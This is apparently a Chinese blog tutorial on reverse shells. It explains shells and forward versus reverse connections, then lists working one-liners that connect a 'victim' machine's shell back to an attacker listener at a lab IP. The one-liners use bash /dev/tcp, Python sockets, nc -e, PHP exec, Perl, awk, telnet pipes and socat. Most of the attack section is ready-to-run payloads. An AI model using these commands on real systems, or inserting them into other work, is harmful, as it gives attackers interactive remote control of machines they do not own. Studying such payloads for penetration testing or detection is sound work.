反弹shell

知识铺垫

什么是shell

shell是渗透中常用的名词,像getshell,webshell,反弹shell等等,都和shell相关。

  • getshell:获取到目标的命令执行权限
  • webshell:指网站后门,通过web服务进行命令执行
  • 反弹shell:把命令行的输入输出转移到其它主机

Shell 俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。简单说用户通过壳(shell)访问操作系统内核的服务,也就是由壳到内核,执行系统命令。

shell的功能是什么

shell用来接收我们用户的输入,并且解释我们的命令。然后将其传给系统内核,内核再调用硬件来操作。

正向连接

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。

反向连接

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

那么为什么要用反弹shell呢?

反弹shell通常适用于如下几种情况:

  • 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
  • 目标机端口被占用。
  • 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。

对于以上几种情况,我们是无法利用正向连接的,要用反向连接。

那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

利用netcat反弹shell

Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包。具体下载方法这里就不赘述了。

常用linux反弹shell的方式

实验环境,一台kali(受害者),一台ubuntu(进攻者)

使用whereis命令去确定目标支持的反弹方法

whereis nc bash python php exec lua perl ruby
bash反弹shell

bash反弹是实战中用的最多的方法

攻击者:nc -lvp 9999

受害者:bash -i >& /dev/tcp/192.168.239.128/9999 0>&1

命令释义

nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
-l 监听模式,用于入站连接
-v 详细输出--用两个-v可得到更详细的内容
-p port 本地端口号
bash -i代表在本地打开一个bash
>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程vps
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
远程vps开启对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出

linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最好的理解是这样的:

>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
python反弹shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
攻击者:nc -lvp 7777

受害者:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.239.128',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
nc反弹shell

需要目标主机安装了nc

攻击者:nc -lvp 4566

受害者:nc -e /bin/bash 192.168.239.128 4566
php反弹shell

首先最简单的一个办法,就是使用php的exec函数执行反弹shell
(需要php关闭safe_mode选项,才可以使用exec函数)

攻击者:nc -nvlp 9875

受害者:php -r 'exec("/usr/bin/bash -i >& /dev/tcp/192.168.239.128/9875 0>&1");'
exec反弹shell
攻击者:nc -nvlp 5623

受害者:0<&196;exec 196<>/dev/tcp/192.168.239.128/5623; sh <&196 >&196 2>&196

perl反弹

攻击者:nc -nvlp 5623

受害者:perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
awk反弹shell
攻击者:nc -nvlp 5623

受害者:awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
telnet反弹shell

需要在攻击主机上分别监听4567和7654端口,执行反弹shell命令后,在4567终端输入命令,7654查看命令执行后的结果

攻击者:
nc -nvlp 4567		#输入命令
nc -nvlp 7654		#输出命令

受害者:
telnet 192.168.239.128 4567 | /bin/bash | telnet 192.168.239.128 7654
socat反弹shell
攻击者:nc -nvlp 8989

受害者:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.239.128:8989
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值